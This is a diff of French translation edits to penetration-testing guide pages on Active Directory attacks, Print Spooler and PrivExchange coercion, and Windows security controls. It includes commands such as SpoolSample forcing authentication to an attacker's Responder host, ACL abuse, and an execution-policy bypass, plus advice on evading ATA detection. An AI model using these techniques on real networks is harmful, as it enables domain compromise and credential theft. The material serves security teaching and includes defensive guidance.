|
||||
|
||||
@ -209,7 +209,7 @@ Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails
|
||||
|
||||
### **Rechercher des identifiants dans les partages d'ordinateurs**
|
||||
|
||||
Maintenant que vous avez quelques identifiants de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés dans l'AD**. Vous pourriez le faire manuellement, mais c'est une tâche très ennuyeuse et répétitive (et encore plus si vous trouvez des centaines de documents à vérifier).
|
||||
Maintenant que vous avez quelques identifiants de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés à l'intérieur de l'AD**. Vous pourriez le faire manuellement, mais c'est une tâche très ennuyeuse et répétitive (et encore plus si vous trouvez des centaines de documents à vérifier).
|
||||
|
||||
[**Suivez ce lien pour en savoir plus sur les outils que vous pourriez utiliser.**](../../network-services-pentesting/pentesting-smb/#domain-shared-folders-search)
|
||||
|
||||
@ -231,9 +231,9 @@ printnightmare.md
|
||||
|
||||
## Escalade de privilèges sur Active Directory AVEC des identifiants/sessions privilégiés
|
||||
|
||||
**Pour les techniques suivantes, un utilisateur de domaine régulier n'est pas suffisant, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
|
||||
**Pour les techniques suivantes, un utilisateur de domaine régulier ne suffit pas, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
|
||||
|
||||
### Extraction de hachage
|
||||
### Extraction de hachages
|
||||
|
||||
Espérons que vous avez réussi à **compromettre un compte administrateur local** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) y compris le relais, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalade de privilèges localement](../windows-local-privilege-escalation/).\
|
||||
Ensuite, il est temps de vider tous les hachages en mémoire et localement.\
|
||||
@ -285,7 +285,7 @@ abusing-ad-mssql.md
|
||||
### Délégation Non Contraignante
|
||||
|
||||
Si vous trouvez un objet Ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous pourrez extraire les TGT de la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
|
||||
Ainsi, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous faire passer pour lui en utilisant [Pass the Ticket](pass-the-ticket.md).\
|
||||
Donc, si un **Administrateur de Domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous faire passer pour lui en utilisant [Pass the Ticket](pass-the-ticket.md).\
|
||||
Grâce à la délégation contrainte, vous pourriez même **compromettre automatiquement un serveur d'impression** (espérons qu'il s'agisse d'un DC).
|
||||
|
||||
{{#ref}}
|
||||
@ -317,7 +317,7 @@ L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certa
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Abus du service Spooler d'impression
|
||||
### Abus du service Spooler d'imprimante
|
||||
|
||||
Découvrir un **service Spool** à l'écoute dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
|
||||
|
||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
L'**attaque Silver Ticket** crée un **ticket de service de ticket de concession (TGS)** légitime pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
|
||||
L'**attaque Silver Ticket** crée un **ticket de service de ticket légitime (TGS)** pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -401,9 +401,9 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Concession (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
|
||||
Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets de Service de Ticket (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
|
||||
|
||||
Une fois que l'attaquant obtient ce hash, il peut créer des **TGT** pour n'importe quel compte de son choix (attaque Silver ticket).
|
||||
Une fois que l'attaquant obtient ce hash, il peut créer des **TGTs** pour n'importe quel compte de son choix (attaque Silver ticket).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -498,24 +498,24 @@ Vérifiez :
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalade de Privilèges dans la Forêt - Confiances de Domaine
|
||||
## Escalade de Privilèges de Forêt - Confiances de Domaine
|
||||
|
||||
Microsoft considère la **Forêt** comme la frontière de sécurité. Cela implique que **compromettre un seul domaine pourrait potentiellement conduire à la compromission de l'ensemble de la Forêt**.
|
||||
|
||||
### Informations de Base
|
||||
|
||||
Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de Domaine (DC)**, qui sont cruciales pour l'intégrité de la confiance.
|
||||
Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de Domaine (DCs)**, qui sont cruciales pour l'intégrité de la confiance.
|
||||
|
||||
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est chiffré avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
|
||||
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est chiffré avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il délivre un TGS, accordant à l'utilisateur l'accès au service.
|
||||
|
||||
**Étapes** :
|
||||
|
||||
1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket de Concession (TGT)** à son **Contrôleur de Domaine (DC1)**.
|
||||
2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
|
||||
1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket Granting Ticket (TGT)** à son **Contrôleur de Domaine (DC1)**.
|
||||
2. DC1 délivre un nouveau TGT si le client est authentifié avec succès.
|
||||
3. Le client demande ensuite un **TGT inter-realm** à DC1, qui est nécessaire pour accéder aux ressources dans le **Domaine 2**.
|
||||
4. Le TGT inter-realm est chiffré avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
|
||||
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine (DC2)** du Domaine 2.
|
||||
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket de Service (TGS)** pour le serveur dans le Domaine 2 auquel le client souhaite accéder.
|
||||
5. Le client prend le TGT inter-realm au **Contrôleur de Domaine du Domaine 2 (DC2)**.
|
||||
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, délivre un **Ticket Granting Service (TGS)** pour le serveur dans le Domaine 2 auquel le client souhaite accéder.
|
||||
7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
|
||||
|
||||
### Différentes Confiances
|
||||
@ -527,11 +527,11 @@ Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B
|
||||
**Différentes relations de confiance**
|
||||
|
||||
- **Confiances Parent-Enfant** : C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement une confiance transitive bidirectionnelle avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
|
||||
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement voyager jusqu'à la racine de la forêt, puis descendre vers le domaine cible. En créant des liens croisés, le voyage est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
|
||||
- **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont de nature non transitive. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
|
||||
- **Confiances de Lien Croisé** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement voyager jusqu'à la racine de la forêt, puis redescendre vers le domaine cible. En créant des liens croisés, le voyage est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
|
||||
- **Confiances Externes** : Celles-ci sont mises en place entre différents domaines non liés et sont non transitives par nature. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
|
||||
- **Confiances de Racine d'Arbre** : Ces confiances sont automatiquement établies entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien qu'elles ne soient pas couramment rencontrées, les confiances de racine d'arbre sont importantes pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de maintenir un nom de domaine unique et garantissant une transitivité bidirectionnelle. Plus d'informations peuvent être trouvées dans [le guide de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Confiances de Forêt** : Ce type de confiance est une confiance transitive bidirectionnelle entre deux domaines racines de forêt, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
|
||||
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos conformes à [RFC4120](https://tools.ietf.org/html/rfc4120) non Windows. Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
|
||||
- **Confiances de Forêt** : Ce type de confiance est une confiance bidirectionnelle transitive entre deux domaines racines de forêt, appliquant également un filtrage SID pour renforcer les mesures de sécurité.
|
||||
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos conformes à [RFC4120](https://tools.ietf.org/html/rfc4120) non-Windows. Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
|
||||
|
||||
#### Autres différences dans les **relations de confiance**
|
||||
|
||||
@ -549,9 +549,9 @@ Les attaquants pourraient accéder aux ressources dans un autre domaine par troi
|
||||
|
||||
- **Membre de Groupe Local** : Les principaux peuvent être ajoutés à des groupes locaux sur des machines, comme le groupe "Administrateurs" sur un serveur, leur accordant un contrôle significatif sur cette machine.
|
||||
- **Membre de Groupe de Domaine Étranger** : Les principaux peuvent également être membres de groupes au sein du domaine étranger. Cependant, l'efficacité de cette méthode dépend de la nature de la confiance et de la portée du groupe.
|
||||
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux peuvent être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACE** au sein d'un **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACL, DACL et ACE, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
|
||||
- **Listes de Contrôle d'Accès (ACLs)** : Les principaux peuvent être spécifiés dans une **ACL**, en particulier en tant qu'entités dans des **ACEs** au sein d'une **DACL**, leur fournissant un accès à des ressources spécifiques. Pour ceux qui souhaitent approfondir les mécanismes des ACLs, DACLs et ACEs, le document intitulé "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" est une ressource inestimable.
|
||||
|
||||
### Escalade de privilèges de la forêt enfant vers le parent
|
||||
### Escalade de privilèges de forêt enfant à parent
|
||||
```
|
||||
Get-DomainTrust
|
||||
|
||||
@ -604,7 +604,7 @@ Des lectures supplémentaires sont disponibles sur [Schema Change Trust Attacks]
|
||||
|
||||
**De DA à EA avec ADCS ESC5**
|
||||
|
||||
La vulnérabilité ADCS ESC5 cible le contrôle des objets d'infrastructure à clé publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
|
||||
La vulnérabilité ADCS ESC5 cible le contrôle des objets d'Infrastructure à Clé Publique (PKI) pour créer un modèle de certificat qui permet l'authentification en tant que n'importe quel utilisateur au sein de la forêt. Comme les objets PKI résident dans le NC de Configuration, compromettre un DC enfant écrivable permet l'exécution d'attaques ESC5.
|
||||
|
||||
Plus de détails à ce sujet peuvent être lus dans [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Dans les scénarios sans ADCS, l'attaquant a la capacité de mettre en place les composants nécessaires, comme discuté dans [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -654,7 +654,7 @@ De plus, si la **victime a monté son disque dur**, à partir du processus de se
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Atténuation des abus de confiance de domaine
|
||||
### Atténuation de l'abus de confiance de domaine
|
||||
|
||||
### **Filtrage SID :**
|
||||
|
||||
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Quelques Défenses Générales
|
||||
|
||||
@ -679,12 +681,12 @@ rdp-sessions-abuse.md
|
||||
### **Mesures Défensives pour la Protection des Identifiants**
|
||||
|
||||
- **Restrictions des Administrateurs de Domaine** : Il est recommandé que les Administrateurs de Domaine ne soient autorisés à se connecter qu'aux Contrôleurs de Domaine, évitant leur utilisation sur d'autres hôtes.
|
||||
- **Privilèges des Comptes de Service** : Les services ne doivent pas être exécutés avec des privilèges d'Administrateur de Domaine (AD) pour maintenir la sécurité.
|
||||
- **Limitation Temporelle des Privilèges** : Pour les tâches nécessitant des privilèges AD, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Privilèges des Comptes de Service** : Les services ne doivent pas être exécutés avec des privilèges d'Administrateur de Domaine (DA) pour maintenir la sécurité.
|
||||
- **Limitation Temporelle des Privilèges** : Pour les tâches nécessitant des privilèges DA, leur durée doit être limitée. Cela peut être réalisé par : `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Mise en Œuvre de Techniques de Tromperie**
|
||||
|
||||
- La mise en œuvre de la tromperie implique de mettre en place des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à privilèges élevés.
|
||||
- La mise en œuvre de la tromperie implique de poser des pièges, comme des utilisateurs ou des ordinateurs leurres, avec des caractéristiques telles que des mots de passe qui n'expirent pas ou sont marqués comme de confiance pour la délégation. Une approche détaillée inclut la création d'utilisateurs avec des droits spécifiques ou leur ajout à des groupes à privilèges élevés.
|
||||
- Un exemple pratique implique l'utilisation d'outils comme : `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Plus d'informations sur le déploiement de techniques de tromperie peuvent être trouvées sur [Deploy-Deception sur GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
@ -696,9 +698,9 @@ rdp-sessions-abuse.md
|
||||
### **Contournement des Systèmes de Détection**
|
||||
|
||||
- **Contournement de la Détection Microsoft ATA** :
|
||||
- **Énumération des Utilisateurs** : Éviter l'énumération de session sur les Contrôleurs de Domaine pour prévenir la détection par ATA.
|
||||
- **Énumération des Utilisateurs** : Éviter l'énumération de session sur les Contrôleurs de Domaine pour prévenir la détection par l'ATA.
|
||||
- **Impersonation de Ticket** : Utiliser des clés **aes** pour la création de tickets aide à éviter la détection en ne rétrogradant pas à NTLM.
|
||||
- **Attaques DCSync** : Il est conseillé d'exécuter à partir d'un non-Contrôleur de Domaine pour éviter la détection par ATA, car l'exécution directe à partir d'un Contrôleur de Domaine déclenchera des alertes.
|
||||
- **Attaques DCSync** : Il est conseillé d'exécuter à partir d'un non-Contrôleur de Domaine pour éviter la détection par l'ATA, car une exécution directe à partir d'un Contrôleur de Domaine déclenchera des alertes.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
## Abus du service Spooler
|
||||
|
||||
Si le service _**Print Spooler**_ est **activé**, vous pouvez utiliser des identifiants AD déjà connus pour **demander** au serveur d'impression du contrôleur de domaine une **mise à jour** sur les nouvelles tâches d'impression et simplement lui dire d'**envoyer la notification à un système**.\
|
||||
Si le service _**Print Spooler**_ est **activé**, vous pouvez utiliser des identifiants AD déjà connus pour **demander** au serveur d'impression du contrôleur de domaine une **mise à jour** sur les nouvelles tâches d'impression et lui dire simplement d'**envoyer la notification à un système**.\
|
||||
Notez que lorsque l'imprimante envoie la notification à des systèmes arbitraires, elle doit **s'authentifier contre** ce **système**. Par conséquent, un attaquant peut faire en sorte que le service _**Print Spooler**_ s'authentifie contre un système arbitraire, et le service **utilisera le compte d'ordinateur** dans cette authentification.
|
||||
|
||||
### Trouver des serveurs Windows sur le domaine
|
||||
@ -30,7 +30,7 @@ rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### Demandez au service de s'authentifier contre un hôte arbitraire
|
||||
|
||||
Vous pouvez compiler[ **SpoolSample depuis ici**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
Vous pouvez compiler[ **SpoolSample à partir d'ici**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
```bash
|
||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||
```
|
||||
@ -45,11 +45,13 @@ Si un attaquant a déjà compromis un ordinateur avec [Unconstrained Delegation]
|
||||
|
||||
## Authentification RCP Forcée
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
L'attaque `PrivExchange` est le résultat d'un défaut trouvé dans la **fonctionnalité `PushSubscription` du serveur Exchange**. Cette fonctionnalité permet au serveur Exchange d'être forcé par tout utilisateur de domaine avec une boîte aux lettres à s'authentifier auprès de tout hôte fourni par le client via HTTP.
|
||||
L'attaque `PrivExchange` est le résultat d'un défaut trouvé dans la **fonctionnalité `PushSubscription` du serveur Exchange**. Cette fonctionnalité permet au serveur Exchange d'être forcé par tout utilisateur de domaine ayant une boîte aux lettres à s'authentifier auprès de tout hôte fourni par le client via HTTP.
|
||||
|
||||
Par défaut, le **service Exchange s'exécute en tant que SYSTEM** et se voit accorder des privilèges excessifs (en particulier, il a des **privilèges WriteDacl sur le domaine avant la mise à jour cumulative de 2019**). Ce défaut peut être exploité pour permettre le **transfert d'informations vers LDAP et ensuite extraire la base de données NTDS du domaine**. Dans les cas où le transfert vers LDAP n'est pas possible, ce défaut peut encore être utilisé pour transférer et s'authentifier auprès d'autres hôtes au sein du domaine. L'exploitation réussie de cette attaque accorde un accès immédiat à l'Administrateur de Domaine avec n'importe quel compte utilisateur de domaine authentifié.
|
||||
|
||||
@ -103,6 +105,6 @@ Si vous pouvez effectuer une attaque MitM sur un ordinateur et injecter du HTML
|
||||
## Cracking NTLMv1
|
||||
|
||||
Si vous pouvez capturer [les défis NTLMv1 lisez ici comment les craquer](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Rappelez-vous que pour craquer NTLMv1, vous devez définir le défi Responder sur "1122334455667788"_
|
||||
&#xNAN;_Remember que pour craquer NTLMv1, vous devez définir le défi Responder sur "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -49,10 +49,10 @@ Les identifiants locaux sont présents dans ce fichier, les mots de passe sont h
|
||||
### Autorité de sécurité locale (LSA) - LSASS
|
||||
|
||||
Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons de connexion unique.\
|
||||
**LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **l'authentification**, **les jetons d'accès**...\
|
||||
**LSA** administre la **politique de sécurité** locale (politique de mot de passe, permissions des utilisateurs...), **authentification**, **jetons d'accès**...\
|
||||
LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communiquera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine.
|
||||
|
||||
Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrables.
|
||||
Les **identifiants** sont **enregistrés** dans le **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrés.
|
||||
|
||||
### Secrets LSA
|
||||
|
||||
@ -103,7 +103,7 @@ sc query windefend
|
||||
```
|
||||
## Système de fichiers chiffré (EFS)
|
||||
|
||||
EFS sécurise les fichiers grâce au chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le $EFS **flux de données alternatif** du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS sécurise les fichiers par le biais du chiffrement, utilisant une **clé symétrique** connue sous le nom de **File Encryption Key (FEK)**. Cette clé est chiffrée avec la **clé publique** de l'utilisateur et stockée dans le $EFS **flux de données alternatif** du fichier chiffré. Lorsque le déchiffrement est nécessaire, la **clé privée** correspondante du certificat numérique de l'utilisateur est utilisée pour déchiffrer le FEK à partir du flux $EFS. Plus de détails peuvent être trouvés [ici](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Scénarios de déchiffrement sans initiation de l'utilisateur** incluent :
|
||||
|
||||
@ -116,7 +116,7 @@ Cette méthode de chiffrement permet un **accès transparent** aux fichiers chif
|
||||
|
||||
- EFS utilise un FEK symétrique, chiffré avec la clé publique de l'utilisateur.
|
||||
- Le déchiffrement utilise la clé privée de l'utilisateur pour accéder au FEK.
|
||||
- Le déchiffrement automatique se produit dans des conditions spécifiques, comme le copier vers FAT32 ou la transmission sur le réseau.
|
||||
- Le déchiffrement automatique se produit dans des conditions spécifiques, comme la copie vers FAT32 ou la transmission sur le réseau.
|
||||
- Les fichiers chiffrés sont accessibles au propriétaire sans étapes supplémentaires.
|
||||
|
||||
### Vérifier les informations EFS
|
||||
@ -134,7 +134,9 @@ Cette méthode nécessite que l'**utilisateur victime** soit **en train d'exécu
|
||||
|
||||
#### Connaître le mot de passe de l'utilisateur
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Comptes de service gérés par groupe (gMSA)
|
||||
|
||||
@ -168,7 +170,7 @@ active-directory-methodology/laps.md
|
||||
|
||||
## PS Constrained Language Mode
|
||||
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, comme le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
|
||||
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille de nombreuses fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore.
|
||||
|
||||
### **Vérifiez**
|
||||
```powershell
|
||||
@ -217,11 +219,11 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
|
||||
```
|
||||
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Interface de fournisseur de support de sécurité (SSPI)
|
||||
## Interface de support de sécurité (SSPI)
|
||||
|
||||
Est l'API qui peut être utilisée pour authentifier les utilisateurs.
|
||||
|
||||
Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de support de sécurité (SSP), sont situés à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer.
|
||||
Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui souhaitent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera quel protocole d'authentification sera utilisé, ces protocoles d'authentification sont appelés Security Support Provider (SSP), se trouvent à l'intérieur de chaque machine Windows sous la forme d'un DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer.
|
||||
|
||||
### Principaux SSP
|
||||
|
||||
@ -233,18 +235,17 @@ Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui sou
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel** : SSL et TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM étant Kerberos le protocole par défaut)
|
||||
- **Negotiate** : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM étant Kerberos le par défaut)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### La négociation pourrait offrir plusieurs méthodes ou seulement une.
|
||||
|
||||
## UAC - Contrôle de compte utilisateur
|
||||
## UAC - Contrôle de compte d'utilisateur
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **invite de consentement pour des activités élevées**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet un **message de consentement pour des activités élevées**.
|
||||
|
||||
{{#ref}}
|
||||
windows-security-controls/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Politique AppLocker
|
||||
|
||||
Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins spécifiques d'une organisation.
|
||||
